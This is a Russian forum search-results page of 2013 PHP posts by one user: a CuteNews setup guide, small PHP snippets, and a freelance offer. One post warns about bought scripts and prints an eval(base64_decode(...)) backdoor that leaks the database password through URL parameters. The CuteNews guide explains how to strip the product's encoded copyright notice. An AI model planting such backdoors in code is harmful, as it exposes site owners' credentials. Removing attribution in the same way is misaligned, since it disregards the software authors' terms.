1. Гость, мы просим Вас ознакомиться с Правилами Форума и Отказом от ответственности!

Результаты поиска

  1. BEILEC
  2. BEILEC
  3. BEILEC
  4. BEILEC
  5. BEILEC
    привет. Поскольку я практикуюсь в вёрстке шаблонов для серверов игры Perfect World, я часто слышал, что нужно адаптировать шаблон под какую-либо cms. Я всегда задавался вопросом..ЗАЧЕМ? Зачем вам DLE - целый портал, wordpress - блог и др. Когда есть необходимость вымещать новости на сайт не нужно устанавливать целую cms, чтобы использовать всего одну-две функции, если вам нужен автоматизированный вывод новостей - установите лишь скрипт вывода новостей, коих в интернете море! Я расскажу про один из скриптов, уже, наверное, известный многим. Это *барабанная дробь* CuteNews UTF-8(для поддержки русских новостей). Да, да именно он. CuteNews это Бесплатный скрипт Никаких баз данных(все новости на сервере в текстовом документе) Простая адаптация под совершенно любой сайт Админ панель Скачать его можно отсюда ссылка Инструкция по установке на сайт: Загружаем содержимое архива(папка с именем cutenews) на ваш хостинг и сразу настроим вывод новостей. Как правильно вывести новость, можно посмотреть в файле README.htm 1. Вывести все новости вообще <?PHP include('cutenews/show_news.php'); ?> 2.Вывести $number новостей, где $number это кол-во новостей, которых нужно вывести <?PHP $number = 5; include('cutenews/show_news.php'); ?> 3.Показать архив новостей(требуется включить в настройках ведение архива) <?PHP include('cutenews/show_archives.php'); ?> Один из этих кодов вам нужно вставить в то место, где будут отображаться новости, если у вас готовый шаблон для новостей, замените его первым или вторым кодом, скопировав шаблон для использовании его в настройке оформления. Настройка оформления: Перейдём в http://yousite/cutenews Там вам предложат установить cutenews и попросят задать логин и пароль администратора Когда выполните то, о чём Вас попросят, Вы окажитесь на главной странице панели администратора. Сразу перейдём во вкладку Option на этой странице можете настроить скрипт, сейчас мы настраиваем оформление - переходим в Edit templates, выбираем шаблон Active news и вставляем заготовленный вами шаблон новости, вставив переменные куда нужно, например если Ваш шаблон выглядел так <div id="new"> <div id="title">Заголовк<sup>Дата</sup></div> <div id="text">Текст новости</div> </div> то измените его примерно следующим образом: <div id="new"> <div id="title">{title}<sup>{date}</sup></div> <div id="text">{short-story}</div> </div> Список переменных так же написан во вкладке Active news, экспериментируйте, господа. Остальные шаблоны настраиваем по аналогии, объясню их названия: Active news - так скажем короткая новость, содержащая основную информацию, как раз для главной страницы, где много новостей Full story - полное изложение мысли, на странице добавлении новости (Add news) есть поле для короткой новости, и есть для полной, ссылка на полную новость генерируется автоматически, чтобы ее вставить, заключите, например "Читать далее.." в тэг full-link вот так: [full-link]Читать далее [/full-link] Comment - шаблон отображен комментариев, если они включены и выведены на страницу, например полной новости, по умолчанию они выведены на страницу полной новости и включены, см. исходные шаблоны. Add comment form - шаблон формы добавления комментариев, ровняйтесь на исходный шаблон News pagination - шаблон навигации по страницам новостей, пример (<<назад 1|2|3 вперёд>>), он автоматически выводится под последней новостью, если для вывода новостей Вы выбрали вариант 2, т.е. ограничили кол-во новостей на страницу Comment pagination - аналогично News pagination, но для комментариев Все эти шаблоны в более доступном виде для человека знающего толк в html, можно найти в одном файле, которых находится в cutenews/data/ это файл default.tpl (Редактируется в notepad++) Чтобы удалить копирайт cutenews, перейдите в cutenews/inc и измените файл shows.inc.php, в самом низу в районе строчек 957 и 958 Вы заметите примерно такой код: Строка 957 if(!file_exists("$cutepath/data/reg.php")){ echo base64_decode('PGRpdiBzdHlsZT0ibWFyZ2luLXRvcDoxNXB4O3dpZHRoOjEwMCU7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udDo5cHggVmVyZGFuYTsiPkNvbnRlbnQgTWFuYWdlbWVudCBQb3dlcmVkIGJ5IDxhIGhyZWY9Imh0dHA6Ly9jdXRlcGhwLmNvbS8iIHRpdGxlPSJDdXRlTmV3cyAtIFBIUCBOZXdzIE1hbmFnZW1lbnQgU3lzdGVtIj5DdXRlTmV3czwvYT48L2Rpdj4='); }else{ include("$cutepath/data/reg.php"); if(preg_match('/\\A(\\w{6})-\\w{6}-\\w{6}\\z/', $reg_site_key, $mmbrid)){ } else{ Строка 958 echo base64_decode('PGRpdiBzdHlsZT0ibWFyZ2luLXRvcDoxNXB4O3dpZHRoOjEwMCU7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udDo5cHggVmVyZGFuYTsiPkNvbnRlbnQgTWFuYWdlbWVudCBQb3dlcmVkIGJ5IDxhIGhyZWY9Imh0dHA6Ly9jdXRlcGhwLmNvbS8iIHRpdGxlPSJDdXRlTmV3cyAtIFBIUCBOZXdzIE1hbmFnZW1lbnQgU3lzdGVtIj5DdXRlTmV3czwvYT48L2Rpdj4='); } вам требуется удалить эти непонятные буквы и цифры, т.е. превратить то, что выше в это: if(!file_exists("$cutepath/data/reg.php")){ echo base64_decode(''); }else{ include("$cutepath/data/reg.php"); if(preg_match('/\\A(\\w{6})-\\w{6}-\\w{6}\\z/', $reg_site_key, $mmbrid)){ } else{ Строка 958 echo base64_decode(''); } Сохраняйте файл. (О значении этих странных букв и цифр я рассказывал в этой теме ссылка) Вот и всё, дерзайте, господа. По всем вопросам обращайтесь в скайп - beilec пока. P.S.Если у вас нет своего шаблона, cutenews предлагает достаточно хороший шаблон по умолчанию
    Автор темы: BEILEC, 13 авг 2013, ответов - 8, в разделе: PHP
  6. BEILEC
    Второй раз на глаза попался недобросовестный разработчик, проблема заключалась в следующем - понадобился скрипт на PHP, сам написать не решился, поэтому купил его. Ничего необычного в нём не заметил, пока сам разработчик не написал мне письмо примерно с таким содержанием:"Я знаю твой пароль от базы данных, продай свою почку, чтобы я залатал эту дырку", на что ему ничего не ответил, а решил сам найти дыру, знания в PHP имеются, представляю как должен выгладить код, к тому же с подобной проблемой уже встречался... В PHP скрипт встраивается примерно такая строчка - eval(base64_decode('aWYoJF9HRVRbImhhY2siXT09ImF0dGVtcHQiICYmICRfR0VUWyJ1c2VyIl09PSJlbGRldiIpIGVjaG8gJHBhc3NiYXphOw==')); Говорящая серверу о том, чтобы он декодировал base64 код, ну и чаще всего закодировано там примерно такое - if($_GET["game"]=="lal" && $_GET["user"]=="usr") echo $passbaza; Это означает, что при вызове в адресной строке page.php?game=lal&user=usr выведется значение переменно passbazza, если этот php скрипт связывается с базой данных, то он должен знать ее пароль, что и вводят обычно в config, но обычно php скрипт не выдаёт данные о пароле, если разработчик добросовестный... Что можно посоветовать? Проверяйте купленные или скаченные скрипты, делается это очень просто. Очень редко когда разработчик будет использовать декодирование, это делается в основном, чтобы скрыть информацию, которую не следует знать Вам. Но все же проверяйте этот код, декодировав его. Существует множество онлайн сервисов для декодирование base64 кодов. Если заметили команду echo или print, а потом что-то связанное с вашей базой данных незамедлительно удаляйте эти строки. Спасибо.
    Автор темы: BEILEC, 13 авг 2013, ответов - 14, в разделе: PHP
  7. BEILEC
  8. BEILEC
  9. BEILEC
  10. BEILEC
  11. BEILEC
  12. BEILEC
    привет! Задача: Требуется вывести определенный текст в определённое время. Например, хочу, чтобы в понедельник на сайт выводилась надпись - "Самый ужасный день", а в пятницу совершенно другая - "Лучший день на неделе", а во все остальные дни выводилась надпись - "Не хороший день" Как это реализовать? Решение: Очень просто! Достаточно воспользоваться функцией date. Если нам требуются значения дней недели, их то мы и попросим у date. Смотрим в документацию ссылка, в ней указано, чтобы вызвать день недели в цифровом формате(от 0 до 6, где 0 - воскресенье, а 6-суббота) нужно обратится к символу w в строке format w Порядковый номер дня недели от 0 (воскресенье) до 6 (суббота) Так и сделаем, если ввести следующий код, получим день недели в цифровом формате (в момент написания статьи был вторник, если 0 - воскресенье, то вторник - 2) На странице появиться цифра 2, означающая, что сегодня вторник. <? echo date(w); ?> Выводить это нам не требуется, мы просто зададим переменную и составим 3 условия, указанных вначале статьи. Зададим переменную для удобства составления условия и запишем три условия для понедельника(в данном формате - 1), пятницы (в данном формате - 5) и для остальных дней недели: <? header('Content-Type: text/html; charset=utf-8');/*1*/ date_default_timezone_set('Europe/Moscow');/*2*/ $day= date(w);/*3*/ if($day== 1){/*4*/ echo "Самый ужасный день"; } elseif($day== 5){/*5*/ echo "Лучший день на неделе"; } else{/*6*/ echo "Не хороший день"; } ?> 1 - указываем кодировку UTF-8 для отображения русского текста. 2 - указываем зону времени по умолчанию как Москва, другие зоны Вы можете найти здесь ссылка.(Указать это обязательно, т.к. время по умолчанию равно времени на сервере, если сервер в Америке, то и время будет Американское, а Русским это не нужно.) 3 - вводим переменная date. 4 - вводим условие: Если переменная date = 1(т.е. понедельник), вывести Самый ужасный день. 5 - вводим условие: Если переменная date = 5(т.е. пятница), вывести Лучший день на недели. 6 - вводим условие: Иначе(т.е. date = любое другое значение, кроме 1 и 5), вывести Не хороший день. Полный код: <html> <div id="days"> <? header('Content-Type: text/html; charset=utf-8');/*1*/ date_default_timezone_set('Europe/Moscow');/*2*/ $day= date(w);/*3*/ if($day== 1){/*4*/ echo "Самый ужасный день"; } elseif($day== 5){/*5*/ echo "Лучший день на неделе"; } else{/*6*/ echo "Не хороший день"; } ?> </div> </html> Код, возможно, не грамотен, но работает без перебоев и очень прост. P.S. Вы можете использовать не день недели (date(w)) для составления условия а даже время в часах или минутах или секундах (date(H) - выводит который час) Используемый материал - http://php.net/manual/ru/function.date.php http://www.php.net/manual/ru/timezones.php За помощью обращайтесь в скайп - beilec пока.
    Автор темы: BEILEC, 7 авг 2013, ответов - 3, в разделе: PHP
  13. BEILEC
    привет! Проблема: Имеется скрипт "карусели" изображений. Изображения вызываются следующий кодом <a href="img/shots/1.jpg"><img src="img/shots/1.jpg" width="100" height="100"></A> Т.к. на сайте не имеется cms, то нужно вручную редактировать код, чтобы добавить изображение, а добавляем мы тот же код, меняя только имя скриншота. (неудобно, особенно человеку, который не знаком с html, да и знакомому с ним хотелось бы облегчить работу) Этим то и возможно воспользоваться для решения задачи. Цель: Упростить вывод изображений на сервер, не используя громоздкие коды Решение: Для того, чтобы добавлять один и тот же код, меняя всего одно значение воспользуемся циклом while на php Но, как узнать сколько раз вставлять этот один и тот же код, т.е. сколько картинок загружено в папку img? Воспользуемся следующим кодом, который опять же использует while: $dir = opendir('img/shots');/*Открываем директорию с изображениям*/ $count = 0;/*Изначально значение кол-ва - 0 (для цикла while)*/ while($file = readdir($dir)){/*Условие для цикла*/ if($file == '.' || $file == '..' || $file == 'watermark.png' || $file == 'watermark.php' ||$file == 'original.jpg' || is_dir('img/shots' . $file)){/*Исключаем из счёта те файлы, которые нам не нужны*/ continue; } $count++;/*Прибавляем к нулю один, и так пока цикл не выполнится то кол-во раз, сколько файлов обнаружено*/ Теперь мы имеем кол-во файлов в директории, исключая ненужные. Переменная count, выводит это кол-во. Используем эту переменную для следующего цикла, который будет вставлять на страницу код вывода изображения столько раз, сколько потребуется(это число определит переменная count) $i = 1; while($i <= $count) {/*Условие цикла, выполнять до тех пор, пока переменная i не будет меньше или равна переменной count*/ echo "<li> <A href=\"img/shots/$i.jpg\"><img src=\"img/shots/$i.jpg\" width=\"100\" height=\"100\"></A> </li>";/*Вывести код, обратите внимание на название изображения*/ $i++; /*Увеличить переменную i на один (была 1 стала 2, и цикл дальше повторяется, пока выполняется условие i <=count)*/ } $i - это название изображения, если в директории изображений будет 6, то цикл будет выводить этот код, пока $i не станет равным 6, таким образом цикл выведет 6 кодов с разным значением имени изображения. В связи с таким решением потребовалось ввести правило для загрузки изображения на сервер в директорию: При загрузке изображения, посмотрите какое имя имеет последнее загруженное изображение, имя должно соответствовать порядковому номеру, если изображений 6, то последнее загруженное изображение имеет имя 6.jpg, поэтому требуется присвоить имя 7.jpg изображению, которое Вы собираетесь загрузить на сервер в директорию. Тогда первый цикл проверит кол-во изображений в директории, поймёт, что их уже 7, и даст знать второму циклу, что нужно вывести код уже не 6 раз, а 7, с соответственным именем. Полный код: <html> <div id="screenshots"> <ul> <? $dir = opendir('img/shots'); $count = 0; while($file = readdir($dir)){ if($file == '.' || $file == '..' || $file == 'watermark.png' || $file == 'watermark.php' ||$file == 'original.jpg' || is_dir('img/shots' . $file)){ continue; } $count++; } $i = 1; while($i <= $count) { echo "<li> <A href=\"img/shots/$i.jpg\"><img src=\"img/shots/$i.jpg\" width=\"100\" height=\"100\"></A> </li>"; $i++; } ?> </ul> </div> </html> P.S. За помощью в настройке обращаться в скайп - beilec Скрипт не грамотен, но работает на ура. пока.
    Автор темы: BEILEC, 6 авг 2013, ответов - 11, в разделе: PHP
  14. BEILEC
  15. BEILEC
    привет! Хочу представить свою разработку, которая отображает загруженность не только в % но и строит статистику в виде полосы в рамке. Рамка имеет постоянную ширину и высоту, в отличии от полосы, которая имеет постоянную высоту, а ширина вычисляется относительно процента загруженности сервера Посмотреть вычисления: Загруженность сервера вычисляется обычной пропорцией: x1 - 100% x2 - x3%, где x1 - максимально возможное кол-во игроков, которое сможет выдержать сервер, x2 - кол-во игроков на сервере сейчас, x3 - неизвестный процент, который мы находим. Выходит следующее уравнение: x2*100/x1*x3 x3=x2*100/x1 Вычисление ширины полосы также проводятся с помощью обычной пропорции: x4 - 100% x5 - x3%, где x4 - ширина полосы , x5 - неизвестная ширина, которую мы находим, x3 - процент загруженности сервера Выходит следующее уравнение: x4*x3/100*x5 x5=x4*x3/100 Что полоса, что рамка - это отдельные изображения, поэтому настройка скрипта не составит труда, если вы имеете знания в области html и css. Моя разметка не грамотна, а иногда даже не понятна, поэтому за помощью в настройке обращайтесь в скайп - beilec Работу скрипта вы можете увидеть на сайте - http://beilec.ru/ Скриншоты: [IMG] [IMG] [IMG] Код: <? $a= 1000;/*максимальное кол-во игроков, выдерживаемое сервером*/ $ab= 300;/*кол-во игроков на сервере*/ $ca= 286;/*ширина полосы в пикселях*/ $p=round($ab*100/$a);/*округленное(round) значение нагрузки сервера в процентах(его вычисление)*/ $k=round($ca*$p/100);/*округленное(round) значение кол-ва пикселей относительно округленного значения нагрузки сервера*/ if($p < 100) { echo " <div style=\"position:relative;width:400px;height:100px;left:50%;margin-left:-165px;\"> <div style=\"background:url(http://img/ramka.gif); position:absolute; z-index:-2; top:-2px;width:300px;height:50px;\"></div> <div style=\"background:url(http://img/polosa.gif); position:absolute;top:5px; left:7px; color:#fff; text-shadow:#000 1px 1px 3px; z-index:-1; width:$k;height:37px;\">$p%</div> </div> "; } elseif($p==100){ echo " <div style=\"position:relative;width:400px;height:100px;left:50%;margin-left:-165px;\"> <div style=\"background:url(http://img/ramka.gif); position:absolute; z-index:-2; top:-2px;width:300px;height:50px;\"></div> <div style=\"background:url(http://img/polosa.gif); position:absolute;top:5px; left:7px; color:red; text-shadow:#fff 1px 1px 3px; z-index:-1; width:$k;height:37px;\">$p%</div> </div> "; } ?> Исходник во вложении.
    Автор темы: BEILEC, 6 авг 2013, ответов - 8, в разделе: PHP
  16. BEILEC
    Сообщение

    Верстка

    Работы делает качественно)) Ой, да ну что Вы [IMG]
    Сообщение от: BEILEC, 29 июл 2013 в разделе: Архив
  17. BEILEC
  18. BEILEC
  19. BEILEC
    Предлагаю свои услуги верстальщика по низким ценам. Способен сделать вёрстку без PSD макета, используя лишь макет высокого разрешения в формате jpg/png Портфолио(все сайты, вёрстки которых были сделаны/отредактированы мною находятся на моём хостинге): 1. Сайт-копия playpw, требовалось исправить проблему отображения верхнего меню, изменить логотип, изображения в слайдере и интегрировать скрипт ленты новостей, оформив его под дизайн. До моей обработки Ссылка (PlayPW) После моей обработки Ссылка (by beilec) (Сайт остался не завершенным, заказчику не понравился дизайн) 2.Сайт-копия PWmax, требовалось, используя лишь макет высокого разрешения в формате jpg, сделать верстку, изменив логотип, установить и адаптировать под дизайн скрипты ленты новостей и вывода последних тем с форума До моей обработки(jpg макет) [IMG] После моей обработки Ссылка 3.Сайт для сервера Perfect World, требовалось разработать дизайн, верстку, внедрить пару скриптов таких как лента новостей, последние темы с форума, топ-20, топ-гильдий Ссылка на работающий сайт сервера 4.Сайт для интернет-магазина парфюмерии, требовалось разработать вёрстку по jpg макету, интегрировать дизайн под скрипт интернет магазина, добавить 600 наименований духов(не весь функционал сайта в рабочем состоянии, т.к. возникли разногласия с заказчиком, остановили разработку.) Ссылка Все подробности в скайп - beilec
    Сообщение от: BEILEC, 15 июл 2013 в разделе: Архив
  20. BEILEC